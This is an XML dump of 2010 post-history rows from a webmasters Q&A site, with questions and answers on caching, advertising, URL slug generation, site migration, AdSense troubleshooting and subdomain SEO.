  <row Id="2097" PostHistoryTypeId="1" PostId="1173" RevisionGUID="420dac2a-c69a-4988-94e7-ab407cb779d2" CreationDate="2010-07-18T04:39:39.673" UserId="17" Text="What type of websites shouldn't use a cache?" />
  <row Id="2098" PostHistoryTypeId="3" PostId="1173" RevisionGUID="420dac2a-c69a-4988-94e7-ab407cb779d2" CreationDate="2010-07-18T04:39:39.673" UserId="17" Text="&lt;speed&gt;&lt;cache&gt;" />
  <row Id="2099" PostHistoryTypeId="2" PostId="1174" RevisionGUID="5d1595c1-3c5b-447d-9e10-2a19a93ecae5" CreationDate="2010-07-18T04:48:50.860" UserId="17" Text="There are many alternatives. The best way to find an advertiser is to look at a competitor website and see who places ads with them. Find out if they use an ad network that is positioned to the same market as you.&#xD;&#xA;&#xD;&#xA;Also, you don't have to get a big name advertiser to place ads with you. Do a quick search on Google and see who is advertising there.&#xD;&#xA;&#xD;&#xA;Chances are if they advertise on Google they may place ads with you too. You can really pitch something like that; as long as your content is much more focused on a niche. Give them a call, you have nothing to loose.&#xD;&#xA;&#xD;&#xA;Finally, if your posting about a product you might be able to find an affiliate program for it. Do some research and see if you can find any good deals. Amazon if a good place to start. " />
  <row Id="2100" PostHistoryTypeId="2" PostId="1175" RevisionGUID="b4d7fb7f-15e4-4481-b37c-9273c7aedad5" CreationDate="2010-07-18T06:08:24.000" UserId="590" Text=" I'm assuming you meant 'shouldn't use caching?' otherwise you should really always use caching for pages that need it. (lots of server side rendering and sql...).  &#xD;&#xA;&#xD;&#xA;A cache is used to send out pre-rendered pages opposed doing the logic and the database queries for every single request.  drasticly speeds up everything.   An option is to just clear the cache more often.. not necisarily turn if off.  &#xD;&#xA;&#xD;&#xA;There are times where you want no cache.. like an admin panel or something that has to be updated immedietly, every time.&#xD;&#xA;" />
  <row Id="2101" PostHistoryTypeId="5" PostId="1175" RevisionGUID="814f53d3-1433-4d25-a54e-774a6d30826d" CreationDate="2010-07-18T06:20:15.080" UserId="590" Comment="added 260 characters in body" Text=" I'm assuming you meant 'shouldn't use caching?' otherwise you should really always use caching for pages that need it. (lots of server side rendering and sql...).  &#xD;&#xA;&#xD;&#xA;A cache is used to send out pre-rendered pages opposed doing the logic and the database queries for every single request.  drasticly speeds up everything.   An option is to just clear the cache more often.. not necisarily turn if off.  &#xD;&#xA;&#xD;&#xA;There are times where you want no cache.. like an admin panel or something that has to be updated immedietly, every time.&#xD;&#xA;&#xD;&#xA;A cache should be used for pages:&#xD;&#xA;    that don't change a lot or have to be constantly parsed by php&#xD;&#xA;    if there as a lot of work to render the page like database calls or a lot of utilitly scripts. &#xD;&#xA;    if it is requested a lot.  like a home page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2102" PostHistoryTypeId="2" PostId="1176" RevisionGUID="a9ae933a-3d35-4369-91f2-9b41633fb4ed" CreationDate="2010-07-18T06:24:49.937" UserId="180" Text="Guess it depends on what you mean by cache.&#xD;&#xA;&#xD;&#xA;1. Database query caching - in many cases it makes sense to cache queries in memcached or even serialized to disk&#xD;&#xA;&#xD;&#xA;2. Page fragment caching - if you have portions of your page that are semi-dynamic, it can sometimes make sense to persist those to memory or disk rather than having to re-generate them on every page load&#xD;&#xA;&#xD;&#xA;3. Reverse proxy - an intelligent (or not-so-intelligent) layer that stores snapshots of your fully rendered pages and presents these as static pages to the client based on strategies you set.&#xD;&#xA;&#xD;&#xA;4. Client side caching - through the intelligent choice of Expires and other HTTP headers, you can ensure that your clients only request files from your site as needed&#xD;&#xA;&#xD;&#xA;All of these play a role in site optimization, and use is determined by how dynamic your data is, whether the client is logged in, and countless other factors.  The simple answer is to cache wherever you can, at the level which consumes the fewest resources, without compromising user experience.&#xD;&#xA;" />
  <row Id="2103" PostHistoryTypeId="2" PostId="1177" RevisionGUID="f9ad5f60-edf1-439a-beb0-43f96c6d4ade" CreationDate="2010-07-18T06:26:48.293" UserId="590" Text="Gzip is probably the most drastic thing you can do.  &#xD;&#xA;Making sure all you're css and js files are minimized helps.&#xD;&#xA;check that you are not loading js libraries or css that you do not need.  Most users will cache these so after the first page it's not all that imprortant.&#xD;&#xA;&#xD;&#xA;Other than that make sure caching is working properly, like not re-parsing a page for every request that doesn't need to be re-parsed. if nessasary anyways&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2104" PostHistoryTypeId="2" PostId="1178" RevisionGUID="5cbdc8b9-2615-4190-9262-c7be42702f4d" CreationDate="2010-07-18T06:40:42.940" UserId="180" Text="That can be a tough job, especially if there are any dynamic features on the site.  Tread carefully!&#xD;&#xA;&#xD;&#xA;Most of my experience is on Windows, so I'll talk about that platform.&#xD;&#xA;&#xD;&#xA;My favourite commercial tool for synchronizing files is [Beyond Compare 3][1]; I'm using it at work to handle file level synchronization across several different link types.  It works fine across FTP and file shares, and has many different options for comparison types, filtering, etc.&#xD;&#xA;&#xD;&#xA;If you're on a budget, just use something like [WinSCP][2] or [FileZilla][3] to copy the files from both sites down to your local hard drive, then use [WinMerge][4] or something similar to compare them.&#xD;&#xA;&#xD;&#xA;When you're done synching up the new site, run a link checker across it to make sure that nothing's broken.  [Xenu's Link Sleuth][5] looks pretty old school and has some usability issues, but in my experience it's still the best tool for the job.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.scootersoftware.com/&#xD;&#xA;  [2]: http://winscp.net/eng/index.php&#xD;&#xA;  [3]: http://filezilla-project.org/&#xD;&#xA;  [4]: http://winmerge.org/&#xD;&#xA;  [5]: http://home.snafu.de/tilman/xenulink.html" />
  <row Id="2105" PostHistoryTypeId="2" PostId="1179" RevisionGUID="88a70875-2463-4e88-a28e-cac28c917961" CreationDate="2010-07-18T06:50:15.227" UserId="590" Text="What I've gotten in the habit of doing is loading up firebug, which measures every file loading to the ms, and then jumping on a proxy like Tor.  Then I can see in real time which files are taking too long to load in say Germany or Australia.  Usually at throttled speeds not much faster than dial up.  &#xD;&#xA;&#xD;&#xA; I'm sure the other serveces mentioned are great but this is a real world way to do it." />
  <row Id="2106" PostHistoryTypeId="2" PostId="1180" RevisionGUID="f195109a-22fb-47a3-b713-cf40f3c2e61b" CreationDate="2010-07-18T07:01:56.040" UserId="694" Text="Google AdSense works for any size site, so I don't see the issue with using for your site.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2107" PostHistoryTypeId="2" PostId="1181" RevisionGUID="53108765-8bf2-4671-87e7-164c02f73a39" CreationDate="2010-07-18T08:09:40.950" UserId="697" Text="Validation is useful because it can help you spot some hard-to-catch errors such as&#xD;&#xA;&#xD;&#xA;    &lt;input name=foo value=&lt;?php echo htmlspecialchars($_GET['foo']); ?&gt; /&gt;&#xD;&#xA;&#xD;&#xA;or unpredictable browser behavior (for example, putting block elements in an `a` can sometimes break in ugly ways in Firefox)." />
  <row Id="2108" PostHistoryTypeId="2" PostId="1182" RevisionGUID="e2b28386-a90d-4581-9232-ce9dfa24f570" CreationDate="2010-07-18T08:44:49.850" UserId="702" Text="I need a really simple solution to build a one-person blog on a shared host: When the user wants to create/edit a blog entry, he calls a PHP script on the server which will...&#xD;&#xA;1. save the raw article into MySQL&#xD;&#xA;2. combine the article with a template to turn it onto a complete HTML page that will be saved on the filesystem&#xD;&#xA;3. regenerate the homepage in HTML and save it on the filesystem&#xD;&#xA;&#xD;&#xA;That way, the PHP part will be very basic, and the server will serve static HTML pages without the penalty of ever calling the PHP interpreter.&#xD;&#xA;&#xD;&#xA;I'm sure there are applications like that out there, but all I can find are full-fledged CMS's like WordPress, TextPattern, etc. that are way too feature-rich for what I need.&#xD;&#xA;&#xD;&#xA;Note that I do want a self-hosted, open-source application, not an account with eg. Blogger.&#xD;&#xA;&#xD;&#xA;Does someone know of applications that would foot the bill?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="2109" PostHistoryTypeId="1" PostId="1182" RevisionGUID="e2b28386-a90d-4581-9232-ce9dfa24f570" CreationDate="2010-07-18T08:44:49.850" UserId="702" Text="Dead-simple PHP/MySQL blogging tool?" />
  <row Id="2110" PostHistoryTypeId="3" PostId="1182" RevisionGUID="e2b28386-a90d-4581-9232-ce9dfa24f570" CreationDate="2010-07-18T08:44:49.850" UserId="702" Text="&lt;mysql&gt;&lt;blog&gt;" />
  <row Id="2111" PostHistoryTypeId="2" PostId="1183" RevisionGUID="b572b48b-bc38-4088-97f7-81c92473f04f" CreationDate="2010-07-18T10:08:41.047" UserId="705" Text="the tool must:&lt;br/&gt;&#xD;&#xA;1) Test the page/component load/render time.&lt;br/&gt;&#xD;&#xA;2) Be usable on multiple devices/browsers.&lt;br/&gt;&#xD;&#xA;3) Show results with recommendations per-device/browser&lt;br/&gt;" />
  <row Id="2112" PostHistoryTypeId="1" PostId="1183" RevisionGUID="b572b48b-bc38-4088-97f7-81c92473f04f" CreationDate="2010-07-18T10:08:41.047" UserId="705" Text="what tools are available to analyze mobile site performance?" />
  <row Id="2113" PostHistoryTypeId="3" PostId="1183" RevisionGUID="b572b48b-bc38-4088-97f7-81c92473f04f" CreationDate="2010-07-18T10:08:41.047" UserId="705" Text="&lt;performance&gt;&lt;mobile&gt;" />
  <row Id="2114" PostHistoryTypeId="2" PostId="1184" RevisionGUID="332150c1-b0d6-4cf4-a256-569c492b6b1d" CreationDate="2010-07-18T10:08:47.740" UserId="697" Text="[Blosxom.PHP][1] seems to be something like that, except it does not use a database.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://freshmeat.net/projects/blosxom_php" />
  <row Id="2115" PostHistoryTypeId="2" PostId="1185" RevisionGUID="43a66fcf-e69e-4051-b488-8fc3faf6ff47" CreationDate="2010-07-18T10:18:03.577" UserId="707" Text="Have you looked at [Pivot][1]? I'm not sure if it qualifies since it uses flat files (instead of mySQL) and it isn't exactly &quot;dead-simple&quot; but it's worth giving a try.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pivotlog.net/" />
  <row Id="2116" PostHistoryTypeId="2" PostId="1186" RevisionGUID="fb211315-aaa0-4bb0-a1e7-b2256f4dddad" CreationDate="2010-07-18T10:54:49.187" UserId="708" Text="Say I have this webpage:  &#xD;&#xA;http://ww.xyz.com/Product.aspx?CategoryId=1&#xD;&#xA;&#xD;&#xA;If the name of CategoryId=1 is &quot;Dogs&quot; I would like to convert the URL into something like this:  &#xD;&#xA;http://ww.xyz.com/Products/Dogs&#xD;&#xA;&#xD;&#xA;The problem is if the category name contains foreign (or invalid for a url) characters. If the name of CategoryId=2 is &quot;Göra äldre&quot;, what should be the new url? &#xD;&#xA; &#xD;&#xA;Logically it should be:  &#xD;&#xA;http://ww.xyz.com/Products/Göra äldre  &#xD;&#xA;but it will not work. Firstly because of the space (which I can easily replace by a dash for example) but what about the foreign characters? In Asp.net I could use the URLEncode function which would give something like this:  &#xD;&#xA;http://ww.xyz.com/Products/G%c3%b6ra+%c3%a4ldre  &#xD;&#xA;but I can't really say it's better than the original url (http://ww.xyz.com/Product.aspx?CategoryId=2)&#xD;&#xA;&#xD;&#xA;Ideally I would like to generate this one but how can I can do this automatically (ie converting foreign characters to 'safe' url characters):  &#xD;&#xA;http://ww.xyz.com/Products/Gora-aldre  &#xD;&#xA;" />
  <row Id="2117" PostHistoryTypeId="1" PostId="1186" RevisionGUID="fb211315-aaa0-4bb0-a1e7-b2256f4dddad" CreationDate="2010-07-18T10:54:49.187" UserId="708" Text="How do you remove invalid characters when creating a friendly url?" />
  <row Id="2118" PostHistoryTypeId="3" PostId="1186" RevisionGUID="fb211315-aaa0-4bb0-a1e7-b2256f4dddad" CreationDate="2010-07-18T10:54:49.187" UserId="708" Text="&lt;asp.net&gt;&lt;url-rewriting&gt;" />
  <row Id="2119" PostHistoryTypeId="2" PostId="1187" RevisionGUID="e2c41591-6a87-4b66-9fbe-30dd7237dc3a" CreationDate="2010-07-18T11:03:48.310" UserId="221" Text="You could add a new field to the Products table that contained an url-safe and unique name for each product. This could probably be automatically generated initially (substituting non-safe characters with closest safe equivalent - `gora-aldre`?) and then fine tuned as needed. &#xD;&#xA;&#xD;&#xA;Since the replacement of non-safe characters is not (always) reversible, it isn't entirely feasible to do this kind of thing on the fly." />
  <row Id="2120" PostHistoryTypeId="2" PostId="1188" RevisionGUID="b3d672cb-4cec-4ea4-9348-94f1646b45d1" CreationDate="2010-07-18T11:07:13.763" UserId="693" Text="A few months ago I saw a video where someone explained a website where when you submit your link, it would be submitted to all mayor search engines. It looked like a pretty nice website.&#xD;&#xA;&#xD;&#xA;I thought I would remember it, but as always I forget both what the link was, I also forget where I saw the clip.&#xD;&#xA;&#xD;&#xA;Does anyone know such a website, or an easy tool to submit your website in various places.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="2121" PostHistoryTypeId="1" PostId="1188" RevisionGUID="b3d672cb-4cec-4ea4-9348-94f1646b45d1" CreationDate="2010-07-18T11:07:13.763" UserId="693" Text="Easiest way of submitting your website to various search engines" />
  <row Id="2122" PostHistoryTypeId="3" PostId="1188" RevisionGUID="b3d672cb-4cec-4ea4-9348-94f1646b45d1" CreationDate="2010-07-18T11:07:13.763" UserId="693" Text="&lt;seo&gt;" />
  <row Id="2123" PostHistoryTypeId="2" PostId="1189" RevisionGUID="3fb0f4b1-87cb-4283-b388-194602760101" CreationDate="2010-07-18T11:12:48.167" UserDisplayName="delete" Text="A web site which tells you the current time of day.&#xD;&#xA;" />
  <row Id="2124" PostHistoryTypeId="5" PostId="1187" RevisionGUID="4a2b7b45-b884-49c9-8336-68b7bc2af53d" CreationDate="2010-07-18T11:26:34.363" UserId="221" Comment="added 310 characters in body; added 9 characters in body" Text="You could add a new field to the Products table that contained an url-safe and unique name for each product. This could probably be automatically generated initially (substituting non-safe characters with closest safe equivalent - `gora-aldre`?) and then fine tuned as needed. &#xD;&#xA;&#xD;&#xA;Since the replacement of non-safe characters is not (always) reversible, it isn't entirely feasible to do this kind of thing on the fly.&#xD;&#xA;&#xD;&#xA;Alternatively, you build the url thusly:&#xD;&#xA;&#xD;&#xA;http://example.com/products/1234/safe-string&#xD;&#xA;&#xD;&#xA;Where `safe-string` is created on the fly replacing unsafe characters as needed. The number `1234` is the product key. You use the key to look up the product, the 'safe-string' is there more for the user and search engines." />
  <row Id="2125" PostHistoryTypeId="2" PostId="1190" RevisionGUID="218cd92b-2ba8-4e9f-99e2-a0d7f1c69f0a" CreationDate="2010-07-18T11:28:41.023" UserId="57" Text="It depends on the language you are using and the technique you want to use. Take a look at this snippet of javascript from the Django source, it does exactly what you need. You can easily port it to the language of your choice I guess:&#xD;&#xA;&#xD;&#xA;http://code.djangoproject.com/browser/django/trunk/django/contrib/admin/media/js/urlify.js" />
  <row Id="2126" PostHistoryTypeId="2" PostId="1191" RevisionGUID="e905c4db-5760-4307-9cc6-3adfb7191431" CreationDate="2010-07-18T11:28:49.103" UserId="480" Text="**When did you decide to use a CDN?**&#xD;&#xA;&#xD;&#xA;Early on into development. The website is for a Photographer and one of the most challenging elements was making sure the load times were practically invisible. Whilst not as much of a problem as video, the simultaneous HTTP request limit was going to cause problems. The website is being developed used Google App Engine, and although they offer static content hosting there were problems with the number of simultaneous requests.&#xD;&#xA;&#xD;&#xA;**How did you measure the “success” of using a CDN?**&#xD;&#xA;&#xD;&#xA;1) Being easily integrated into the CMS so as to be invisible. This caused major technical issues on the server side, deferrable jobs and long AJAX async requests plagued - in the end the CMS workflow had to be reworked (and continues to be reworked).&#xD;&#xA;&#xD;&#xA;2) Fast. Using Amazon's Cloudfront we have noticed huge speed increases, especially in the Orient (where the photographer in question will be moving to). File upload operations are also quick, however we are less than happy with the speed of META data changes (some can be quite extensive), especially on the S3 to CloudFront propagation.&#xD;&#xA;&#xD;&#xA;3) Cheap. The cost of a CDN should be minimal for our needs and offer lots of bang for your buck. We were aiming for faster end user speeds than using Google App Engine alone, but with the same pricing and am happy to report this has been achieved." />
  <row Id="2127" PostHistoryTypeId="5" PostId="1190" RevisionGUID="002a4380-a62c-4193-993c-d7d60263f0c4" CreationDate="2010-07-18T11:37:04.953" UserId="57" Comment="added python function; added 9 characters in body" Text="It depends on the language you are using and the technique you want to use. Take a look at this snippet of javascript from the Django source, it does exactly what you need. You can easily port it to the language of your choice I guess:&#xD;&#xA;&#xD;&#xA;http://code.djangoproject.com/browser/django/trunk/django/contrib/admin/media/js/urlify.js&#xD;&#xA;&#xD;&#xA;This is the Python snippet used in the Django slugify function, it's a lot shorter:&#xD;&#xA;&#xD;&#xA;    def slugify(value):&#xD;&#xA;        &quot;&quot;&quot;&#xD;&#xA;        Normalizes string, converts to lowercase, removes non-alpha characters,&#xD;&#xA;        and converts spaces to hyphens.&#xD;&#xA;        &quot;&quot;&quot;&#xD;&#xA;        import unicodedata&#xD;&#xA;        value = unicodedata.normalize('NFKD', value).encode('ascii', 'ignore')&#xD;&#xA;        value = unicode(re.sub('[^\w\s-]', '', value).strip().lower())&#xD;&#xA;        return re.sub('[-\s]+', '-', value)&#xD;&#xA;&#xD;&#xA;I think every language got a port of this, since it's a common problem. Just google for slugify + yourlanguage.&#xD;&#xA;" />
  <row Id="2128" PostHistoryTypeId="5" PostId="1145" RevisionGUID="24e4e18a-2661-4817-905b-14b87298af04" CreationDate="2010-07-18T12:09:45.097" UserId="616" Comment="edited body" Text="My VPS has given me the chance to experiment with new server software. I started on the usual apache2+mod_php setup, but now I have nginx+php-fpm with a proxy back to some legacy apache2+mod_php sites. I'm also running (and tuning) APC, memcached, and mysqld.&#xD;&#xA;&#xD;&#xA;If you're just going to run a few sites, and performance is good on your shared host, I would stay put. If you're going to excercise your right to root, a VPS is a great economical way to try new things." />
  <row Id="2129" PostHistoryTypeId="2" PostId="1192" RevisionGUID="5337779b-b190-4a76-b288-2c84a451b6fc" CreationDate="2010-07-18T12:27:52.463" UserId="576" Text="You can [create a poll with a Google Docs Form &amp; embed it][1] in your website.&#xD;&#xA;&#xD;&#xA;[Zoho Polls][2] is also free &amp; embeddable. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googledocs.blogspot.com/2008/05/embed-your-forms.html&#xD;&#xA;  [2]: http://zohopolls.com/" />
  <row Id="2130" PostHistoryTypeId="2" PostId="1193" RevisionGUID="51272897-6761-4a47-b0fd-f7ae6416b87d" CreationDate="2010-07-18T12:53:15.910" UserId="576" Text="Try [W3C's open source tool Link Checker][1]. You can use it online or install it locally&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://validator.w3.org/docs/checklink.html" />
  <row Id="2131" PostHistoryTypeId="2" PostId="1194" RevisionGUID="efa395e6-ae3c-4d37-b42b-f02e341cb3a8" CreationDate="2010-07-18T12:56:23.890" UserId="708" Text="I think this will do the trick:  &#xD;&#xA;http://predicatet.blogspot.com/2009/04/improved-c-slug-generator-or-how-to.html" />
  <row Id="2132" PostHistoryTypeId="2" PostId="1195" RevisionGUID="5accdacc-63e0-4d1c-83a2-c1e7933cb72e" CreationDate="2010-07-18T13:11:12.950" UserId="108" Text="These are the two I see out there:&#xD;&#xA;&#xD;&#xA; - http://www.addme.com/&#xD;&#xA; - http://www.freewebsubmission.com/" />
  <row Id="2133" PostHistoryTypeId="2" PostId="1196" RevisionGUID="09b98046-5153-4a3c-a8ec-7a51734da791" CreationDate="2010-07-18T13:14:18.480" UserId="9301" Text="These days submission to search engines isn't important anymore. Google and others crawl the web on it's own." />
  <row Id="2134" PostHistoryTypeId="2" PostId="1197" RevisionGUID="934a80a5-932c-4315-ba7d-a4c9750b08f1" CreationDate="2010-07-18T13:35:04.017" UserId="721" Text="For this knowing Python might actually be useful. You can learn Python pretty quickly. I started about 2 weeks ago and my first application(which still isn't finished) is going to do the exact same thing you want. Like the DotLess compiler it will have a watch function that will look at files or directories and if they change it will generate a new file.&#xD;&#xA;&#xD;&#xA;Python is also great for other maintenance tasks and I read a lot of system adminsitrators like to use it." />
  <row Id="2135" PostHistoryTypeId="16" PostId="1197" RevisionGUID="934a80a5-932c-4315-ba7d-a4c9750b08f1" CreationDate="2010-07-18T13:35:04.017" UserId="-1" />
  <row Id="2136" PostHistoryTypeId="2" PostId="1198" RevisionGUID="2dd03a62-0a4e-4b27-b75e-da298b303780" CreationDate="2010-07-18T13:39:25.927" UserDisplayName="delete" Text="I recently moved from having a main site like www.example.com with a subdomain associated site yyy.example.com to moving everything off the subdomain to a subdirectory like www.example.com/yyy/, with the same hierarchy underneath the subdirectory, and now yyy.example.com is just a redirect page to the subdirectory. &#xD;&#xA;&#xD;&#xA;The effect has been that the traffic increased by several times what it was to the yyy subdomain.&#xD;&#xA;&#xD;&#xA;I'm curious to know if there's any research or results which would indicate whether this is universal or &quot;just me&quot;." />
  <row Id="2137" PostHistoryTypeId="1" PostId="1198" RevisionGUID="2dd03a62-0a4e-4b27-b75e-da298b303780" CreationDate="2010-07-18T13:39:25.927" UserDisplayName="delete" Text="Subdomain versus subdirectory" />
  <row Id="2138" PostHistoryTypeId="3" PostId="1198" RevisionGUID="2dd03a62-0a4e-4b27-b75e-da298b303780" CreationDate="2010-07-18T13:39:25.927" UserDisplayName="delete" Text="&lt;traffic&gt;&lt;subdomain&gt;" />
  <row Id="2139" PostHistoryTypeId="2" PostId="1199" RevisionGUID="8782e3d3-2638-4695-9f53-60702c69c089" CreationDate="2010-07-18T14:15:12.143" UserId="723" Text="I believe it's to do with page ranking. Search engines treat subdomains as completely different sites from the non-subdomain and thus by moving your pages from the subdomain to the main domain, they will be picking up it's PR (which may be higher?). &#xD;&#xA;&#xD;&#xA;It may also just a coincidence. How long have you been studying the traffic for?" />
  <row Id="2140" PostHistoryTypeId="5" PostId="1042" RevisionGUID="9e8a3b82-6f92-4f8a-8dbe-31b690e8a74c" CreationDate="2010-07-18T14:28:52.843" UserId="480" Comment="added 6 characters in body" Text="When using [Google's JSAPI Auto-Loading][1] system - is there a way to get the returned file with all the JavaScript (combined) in one HTTP request?&#xD;&#xA;&#xD;&#xA;At the minute is just calls the load routines (with more HTTP requests) at the end of returned file, which makes it less than ideal when it can reduce 2+ requests by just including the returned JavaScript content all in one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/ajax/documentation/#AutoLoading" />
  <row Id="2141" PostHistoryTypeId="2" PostId="1200" RevisionGUID="3428fd76-3dfa-43e4-8e66-1aa4aeb2a4ef" CreationDate="2010-07-18T14:42:09.380" UserId="204" Text="If you're really lucky, both the current and new server are on a cpanel linux server. Those are very easy to migrate, and cpanel will actually do it for you (you need SSH access on both ends).&#xD;&#xA;&#xD;&#xA;Otherwise, you will just have to FTP all site files from the current to the new server.&#xD;&#xA;&#xD;&#xA;If the site was built with portability in mind all the links should be relative and you shouldn't have too many issues. If they were all absolute paths, then you are in for a world of hurt as all of those links will have to be redone.&#xD;&#xA;&#xD;&#xA;You might run into some other &quot;gotchas&quot; like maybe different PHP settings, or different SQL server versions. I did a migration of a PHP site once from linux to windows and that took me days to find all of those little places where windows PHP varies from linux PHP. Oh, and don't forget folder permissions if the application needs to write to the server." />
  <row Id="2142" PostHistoryTypeId="2" PostId="1201" RevisionGUID="b3a3ee32-51a1-4f6a-a1fe-b08baad53af2" CreationDate="2010-07-18T14:45:09.887" UserId="204" Text="no love for [ChartBeat][1] or [Quantcast][2]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://chartbeat.com/&#xD;&#xA;  [2]: http://www.quantcast.com/" />
  <row Id="2143" PostHistoryTypeId="2" PostId="1202" RevisionGUID="822ce6e2-f3e5-4906-a0f7-9189beb4a0d4" CreationDate="2010-07-18T15:09:56.970" UserId="233" Text="Submitting your site to search engines does nothing. The only reliable way to get indexed in search engines is to get links pointing to your site.&#xD;&#xA;&#xD;&#xA;Even a single link should get your site indexed, so look out for web directories (such as [dmoz.org][1]) or find some forums that are related to your niche and post a link (if they allow advertising - otherwise put it in your signature and join in the conversation).&#xD;&#xA;&#xD;&#xA;Depending on the site you can also do a bunch of real-world advertising and press releases, then you might get links from news sites and blogs.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/" />
  <row Id="2144" PostHistoryTypeId="2" PostId="1203" RevisionGUID="16075e6c-d492-47ea-a442-7de45a75f502" CreationDate="2010-07-18T15:10:40.450" UserId="94" Text="Recently I started to work again with AdSense program, but when I placed code in my WordPress blog it didn't display even after 30min.  &#xD;&#xA;So maybe I'm doing something wrong?  &#xD;&#xA;I did setup the account.  &#xD;&#xA;Created ad for content.  &#xD;&#xA;Got the code.  &#xD;&#xA;Placed it in my themes sidebar.&#xD;&#xA;&#xD;&#xA;Maybe I have to add my webpage address somewhere or it takes more time to start displaying adds?  &#xD;&#xA;Thank you all for help." />
  <row Id="2145" PostHistoryTypeId="1" PostId="1203" RevisionGUID="16075e6c-d492-47ea-a442-7de45a75f502" CreationDate="2010-07-18T15:10:40.450" UserId="94" Text="AdSense not displaying on my blog" />
  <row Id="2146" PostHistoryTypeId="3" PostId="1203" RevisionGUID="16075e6c-d492-47ea-a442-7de45a75f502" CreationDate="2010-07-18T15:10:40.450" UserId="94" Text="&lt;wordpress&gt;&lt;google-adsense&gt;&lt;content&gt;" />
  <row Id="2147" PostHistoryTypeId="5" PostId="1198" RevisionGUID="b4973309-e5c0-498c-aef4-6e9feeee3af9" CreationDate="2010-07-18T15:23:16.337" UserDisplayName="delete" Comment="added 334 characters in body; added 19 characters in body" Text="I recently moved from having a main site like `www.example.com` with a subdomain associated site `yyy.example.com`, to moving everything off the subdomain to a subdirectory like `www.example.com/yyy/`, with the same hierarchy underneath the subdirectory, and now `yyy.example.com` is just a redirect page to the subdirectory, so `yyy.example.com/abc/page-x` is redirected to `www.example.com/yyy/abc/page-x` and so on.&#xD;&#xA;&#xD;&#xA;The effect has been that the traffic increased by several times (the total page views are more than ten times at the present rate) what it was to the `yyy` subdomain. Previously almost all of the traffic to the `yyy` subdomain was from the `www` site. This is from monitoring the old `yyy` site for a year or more.&#xD;&#xA;&#xD;&#xA;I'm curious to know if there's any research or results which would indicate whether this is universal (subdirectories beat subdomains) or &quot;just me&quot;.&#xD;&#xA;" />
  <row Id="2148" PostHistoryTypeId="2" PostId="1204" RevisionGUID="b61c90ff-f64b-428b-8444-b0ee82fcefdb" CreationDate="2010-07-18T15:36:17.260" UserDisplayName="delete" Text="Well, first of all, I won't insult your intelligence by saying &quot;You did turn off Adblock, didn't you?&quot;, because it's probably only me that forgets about that kind of thing.&#xD;&#xA;&#xD;&#xA;Next possibility: Is your blog actually on a public-facing server or is it on a test machine? If it's on a test machine like http://localhost/ then Google might not send the ads. Note that the Google ad robot comes to your page to have a look and decide what ads to put there, and you'll end up with public service ads if it can't see the page.&#xD;&#xA;&#xD;&#xA;Third time lucky: I think they say somewhere that it takes ten minutes but sometimes it can take longer. I'd give it a day or two - you probably weren't going to break the bank in that time anyway.&#xD;&#xA;&#xD;&#xA;If none of the above does the trick, I'd try making an ultra-simple HTML page like&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;google ad here&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;and see if that works on your site. If that doesn't work, then I'd contact Google.&#xD;&#xA;" />
  <row Id="2149" PostHistoryTypeId="2" PostId="1205" RevisionGUID="3b292f63-df74-41d2-9536-9d84f1d5cc39" CreationDate="2010-07-18T15:36:34.653" UserId="233" Text="Pretty much all of Yahoo's [Best Practices][1] can be implemented without even touching the site design in any way. Minimize HTTP requests by combining all CSS into one file and all JS into one file. Use Gzip. Set good Expires headers.&#xD;&#xA;&#xD;&#xA;These rules could affect the design:&#xD;&#xA;&#xD;&#xA;* *Reduce the Number of DOM Elements* - worth looking at, you should be able to reduce the HTML size while still keeping the design the same.&#xD;&#xA;* *Minimize the Number of iframes* - probably best to avoid these wherever possible anyway.&#xD;&#xA;* *Optimize Images* - you should optimize images where possible, but don't overdo it at the expense of your design.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html" />
  <row Id="2150" PostHistoryTypeId="2" PostId="1206" RevisionGUID="87dc16c0-d13a-4737-a23d-ada7676a73df" CreationDate="2010-07-18T15:48:00.767" UserId="727" Text="I want to create a tag-based website, and I need a tool that I could use (preferably without programing).&#xD;&#xA;&#xD;&#xA;It's a site where a user could pick tags on a certain item. All tags will be placed under a group that they are logically linked to (I will do that by hand). On the other end - a visitor could choose a tag, and then be redirected to a few items on which that tag was selected the most. Besides this, I need to set up a registration form (for the visitors who want to select tags on a desired item).&#xD;&#xA;&#xD;&#xA;Stackoverflow.com may serve as an example of what I want to achieve. Functionally it is a quite similar approach. I am not sure if further detailing will bring me closer to getting a development advice, but nevertheless - following this template what I would be missing on is:&#xD;&#xA;&#xD;&#xA; - ability to categorize the tags; and so they would fit in one page (overall i assume &lt;200 tags)&#xD;&#xA; - box where a user could enter a tag and it would be pending until a certain number of users enter such tag&#xD;&#xA; - ability to limit the number of 'questions' that appear when a visitor chooses a tag - 'question' stands for an item to which users are selecting tags (displayed items would depend on the frequency the tag was assigned - say the top two items)&#xD;&#xA;&#xD;&#xA;Which software should I try / How should I go about it? Thank you.&#xD;&#xA;&#xD;&#xA;Lukas&#xD;&#xA;&#xD;&#xA;P.S. I have bought hosting account through GoDaddy.com. This is a first website that I am trying to build." />
  <row Id="2151" PostHistoryTypeId="1" PostId="1206" RevisionGUID="87dc16c0-d13a-4737-a23d-ada7676a73df" CreationDate="2010-07-18T15:48:00.767" UserId="727" Text="creating a tag-based website and not using programing?" />
